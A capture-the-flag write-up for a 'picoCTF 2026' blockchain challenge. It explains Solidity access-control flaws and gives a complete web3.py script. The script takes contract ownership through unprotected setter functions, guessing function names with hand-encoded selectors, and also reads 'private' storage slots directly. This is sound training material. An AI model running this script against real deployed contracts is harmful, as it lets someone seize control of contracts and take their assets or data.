│ Category: Blockchain
│ Difficulty: Medium
│ Points: 200
│ Author: Imattas aka Zemi
────────────────────────────────────────────────────────────────────────────────
--[ Challenge Description ]--
│ We've created a simple contract to store a secret flag. But you currently are
not the owner of the contract... Only the owner can access the flag. Can you
figure out how to become the owner?
────────────────────────────────────────────────────────────────────────────────
--[ Recon / Initial Analysis ]--
This is a classic smart contract access control vulnerability challenge. The
contract stores a secret flag and restricts access to the "owner," but the
access control mechanism has a flaw that allows anyone to become the owner.
:: Typical Contract Pattern
-- solidity --
pragma solidity ^0.8.0;
contract AccessControl {
address public owner;
string private flag;
constructor(string memory _flag) {
owner = msg.sender;
flag = _flag;
}
// VULNERABILITY: No access control on this function!
function setOwner(address _newOwner) public {
owner = _newOwner;
}
// Or alternatively, a flawed modifier:
// function setOwner(address _newOwner) public {
// require(tx.origin == owner); // vulnerable to phishing
// owner = _newOwner;
// }
function getFlag() public view returns (string memory) {
require(msg.sender == owner, "Not the owner!");
return flag;
}
}
────────────────────────────────────────────────────────────────────────────────
--[ Vulnerability / Observation ]--
:: Common Blockchain Access Control Vulnerabilities
1. Unprotected state-changing functions: A function that sets the owner lacks an
access modifier (e.g., onlyOwner), allowing anyone to call it.
2. tx.origin vs msg.sender confusion: Using tx.origin for authentication instead
of msg.sender enables phishing attacks.
3. Public visibility on sensitive functions: Functions intended to be
internal/private are accidentally left public.
4. Initialization race condition: The constructor or initializer can be called
by anyone, or there is a separate initialize() function that was never called
(or can be called again).
5. Storage slot reading: Even "private" variables in Solidity are readable
on-chain -- nothing on the blockchain is truly private.
:: Attack Vectors
Approach A -- Unprotected `setOwner` / `changeOwner`: Simply call the function
that changes ownership with your own address.
Approach B -- Read storage directly: Even if you cannot become the owner, the
flag stored as a "private" variable can be read directly from the blockchain
storage slot using web3.eth.getStorageAt().
Approach C -- Unprotected initializer: Call an initialize() or init() function
that was left unprotected.
────────────────────────────────────────────────────────────────────────────────
--[ Exploitation / Solution ]--
1. Connect to the provided RPC endpoint using the challenge credentials
(typically an RPC URL, contract address, and a funded wallet private key).
2. Read the contract ABI or source code (usually provided or discoverable via
the challenge).
3. Identify the vulnerability: Look for an unprotected function that modifies
the owner state variable.
4. Call the vulnerable function to set yourself as the owner.
5. Call `getFlag()` to retrieve the flag.
6. Alternatively, read the storage slot directly to bypass access control
entirely.
────────────────────────────────────────────────────────────────────────────────
--[ Full Exploit Script ]--
-- python --
#!/usr/bin/env python3
"""
Access Control - picoCTF 2026 (Blockchain, 200 pts)
Exploit an access control vulnerability in a Solidity smart contract
to become the owner and retrieve the flag.
Two approaches implemented:
1. Call an unprotected setOwner/changeOwner function
2. Read the flag directly from contract storage (private vars are readable)
Usage:
python3 solve.py
Dependencies: web3 (pip install web3)
You will need to fill in the challenge-specific values below:
- RPC_URL: The Ethereum RPC endpoint provided by the challenge
- CONTRACT_ADDRESS: The deployed contract address
- PRIVATE_KEY: Your wallet's private key (provided by the challenge)
- CONTRACT_ABI: The ABI of the contract (provided or reverse-engineered)
"""
from web3 import Web3
import json
import sys
# ============================================================
# CHALLENGE-SPECIFIC VALUES - Fill these in from the challenge
# ============================================================
RPC_URL = "http://CHALLENGE_HOST:CHALLENGE_PORT" # e.g., "http://saturn.picoctf.net:12345"
CONTRACT_ADDRESS = "0x_CONTRACT_ADDRESS_HERE"
PRIVATE_KEY = "0x_YOUR_PRIVATE_KEY_HERE"
# Typical ABI for this type of challenge (adjust based on actual contract)
CONTRACT_ABI = json.loads("""[
{
"inputs": [],
"name": "owner",
"outputs": [{"type": "address", "name": ""}],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [{"type": "address", "name": "_newOwner"}],
"name": "setOwner",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "getFlag",
"outputs": [{"type": "string", "name": ""}],
"stateMutability": "view",
"type": "function"
}
]""")
# Alternative function names to try if setOwner doesn't exist
OWNER_FUNCTION_NAMES = [
"setOwner",
"changeOwner",
"transferOwnership",
"updateOwner",
"init",
"initialize",
]
FLAG_FUNCTION_NAMES = [
"getFlag",
"flag",
"readFlag",
"retrieveFlag",
"secret",
"getSecret",
]
def approach_1_call_unprotected_function(w3, contract_address, private_key):
"""
Approach 1: Call an unprotected owner-changing function,
then call getFlag().
"""
account = w3.eth.account.from_key(private_key)
my_address = account.address
print(f"[*] Our address: {my_address}")
contract = w3.eth.contract(address=contract_address, abi=CONTRACT_ABI)
# Check current owner
try:
current_owner = contract.functions.owner().call()
print(f"[*] Current contract owner: {current_owner}")
except Exception as e:
print(f"[!] Could not read owner: {e}")
# Try to become the owner
print("[*] Attempting to call setOwner() with our address...")
try:
tx = contract.functions.setOwner(my_address).build_transaction({
'from': my_address,
'nonce': w3.eth.get_transaction_count(my_address),
'gas': 200000,
'gasPrice': w3.eth.gas_price,
})
signed_tx = w3.eth.account.sign_transaction(tx, private_key)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"[+] setOwner() transaction successful! Hash: {tx_hash.hex()}")
except Exception as e:
print(f"[!] setOwner() failed: {e}")
print("[*] Trying alternative function names...")
# Try alternative function signatures by encoding manually
for func_name in OWNER_FUNCTION_NAMES:
try:
# Build function selector: first 4 bytes of keccak256(signature)
selector = w3.keccak(text=f"{func_name}(address)")[:4]
# Encode the address parameter (32 bytes, left-padded)
encoded_addr = bytes(12) + bytes.fromhex(my_address[2:])
data = selector + encoded_addr
tx = {
'from': my_address,
'to': contract_address,
'nonce': w3.eth.get_transaction_count(my_address),
'gas': 200000,
'gasPrice': w3.eth.gas_price,
'data': data,
}
signed_tx = w3.eth.account.sign_transaction(tx, private_key)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"[+] {func_name}() succeeded! Hash: {tx_hash.hex()}")
break
except Exception:
continue
# Verify we are now the owner
try:
new_owner = contract.functions.owner().call()
print(f"[*] New contract owner: {new_owner}")
if new_owner.lower() == my_address.lower():
print("[+] We are now the owner!")
else:
print("[!] Owner change did not work, trying storage read approach...")
return None
except Exception:
pass
# Get the flag
print("[*] Calling getFlag()...")
try:
flag = contract.functions.getFlag().call({'from': my_address})
print(f"\n[+] FLAG: {flag}")
return flag
except Exception as e:
print(f"[!] getFlag() failed: {e}")
return None
def approach_2_read_storage(w3, contract_address):
"""
Approach 2: Read the flag directly from contract storage.
Private variables in Solidity are NOT actually private on-chain.
Storage layout (typical):
Slot 0: owner (address, 20 bytes)
Slot 1: flag (string -- if short, stored in-place; if long, stored at keccak256(slot))
"""
print("\n[*] === Approach 2: Direct storage read ===")
print("[*] Reading contract storage slots to find the flag...")
# Read slot 0 (usually the owner)
slot0 = w3.eth.get_storage_at(contract_address, 0)
print(f"[*] Slot 0 (owner): {slot0.hex()}")
# Read slot 1 (often the flag for simple contracts)
slot1 = w3.eth.get_storage_at(contract_address, 1)
print(f"[*] Slot 1 (raw): {slot1.hex()}")
# Solidity string storage:
# - Short strings (< 32 bytes): stored directly in the slot, last byte = length * 2
# - Long strings (>= 32 bytes): slot contains length * 2 + 1,
# actual data stored at keccak256(slot_number)
last_byte = slot1[-1]
if last_byte % 2 == 0:
# Short string: data is in the slot, last byte is length * 2
str_len = last_byte // 2
flag_bytes = slot1[:str_len]
flag = flag_bytes.decode('utf-8', errors='replace')
print(f"[+] Short string in slot 1: {flag}")
else:
# Long string: length = (value - 1) / 2
slot1_int = int.from_bytes(slot1, 'big')
str_len = (slot1_int - 1) // 2
print(f"[*] Long string detected, length = {str_len} bytes")
# Data is stored starting at keccak256(slot_number)
data_slot = int.from_bytes(w3.keccak(
b'\x00' * 31 + b'\x01' # slot 1, padded to 32 bytes
), 'big')
# Read enough slots to cover the string
flag_bytes = b''
slots_needed = (str_len + 31) // 32
for i in range(slots_needed):
chunk = w3.eth.get_storage_at(contract_address, data_slot + i)
flag_bytes += chunk
flag = flag_bytes[:str_len].decode('utf-8', errors='replace')
print(f"[+] Long string data: {flag}")
# Also try a few more slots in case flag is elsewhere
if 'picoCTF' not in flag:
print("\n[*] Flag not found in slot 1, scanning more slots...")
for slot_num in range(2, 10):
slot_data = w3.eth.get_storage_at(contract_address, slot_num)
if slot_data != b'\x00' * 32:
try:
decoded = slot_data.rstrip(b'\x00').decode('utf-8', errors='replace')
print(f" Slot {slot_num}: {decoded}")
if 'picoCTF' in decoded:
flag = decoded
break
except Exception:
print(f" Slot {slot_num}: {slot_data.hex()}")
if 'picoCTF' in flag:
print(f"\n[+] FLAG: {flag}")
return flag
def main():
# Connect to the blockchain
print(f"[*] Connecting to RPC: {RPC_URL}")
if "CHALLENGE_HOST" in RPC_URL:
print("[!] Please update RPC_URL, CONTRACT_ADDRESS, and PRIVATE_KEY")
print("[!] with the values provided by the challenge.")
print()
print("[*] Example usage after updating values:")
print(" python3 solve.py")
print()
print("[*] Typical picoCTF blockchain challenge setup:")
print(" 1. Connect to the challenge instance to get RPC URL and credentials")
print(" 2. The contract source code reveals the vulnerability")
print(" 3. Call the unprotected function to become owner")
print(" 4. Call getFlag() to retrieve the flag")
sys.exit(1)
w3 = Web3(Web3.HTTPProvider(RPC_URL))
if not w3.is_connected():
print("[!] Failed to connect to RPC endpoint")
sys.exit(1)
print(f"[+] Connected! Chain ID: {w3.eth.chain_id}")
contract_address = Web3.to_checksum_address(CONTRACT_ADDRESS)
# Approach 1: Exploit unprotected function
flag = approach_1_call_unprotected_function(w3, contract_address, PRIVATE_KEY)
# Approach 2: Read storage directly (works even without becoming owner)
if flag is None or 'picoCTF' not in str(flag):
flag = approach_2_read_storage(w3, contract_address)
if flag and 'picoCTF' in str(flag):
print(f"\n{'='*50}")
print(f"FLAG: {flag}")
print(f"{'='*50}")
else:
print("\n[!] Could not retrieve flag automatically.")
print("[*] Try reading more storage slots or check the contract source code.")
if __name__ == '__main__':
main()
────────────────────────────────────────────────────────────────────────────────
--[ Key Takeaways ]--
- Solidity access control bugs (missing onlyOwner, tx.origin auth, public
initializers) let anyone seize ownership of a contract.
- Use web3.py to read the current owner, call the unprotected owner-setter with
your own address, then call getFlag().
- Nothing on-chain is private: private variables are still readable via
eth.getStorageAt(). Knowing Solidity's storage layout (slot 0 = owner, slot 1 =
flag string, short vs. long string encoding) lets you read the flag without ever
becoming the owner.
- Manual ABI encoding (4-byte keccak selector + padded args) is a useful
fallback when the exact function name is unknown.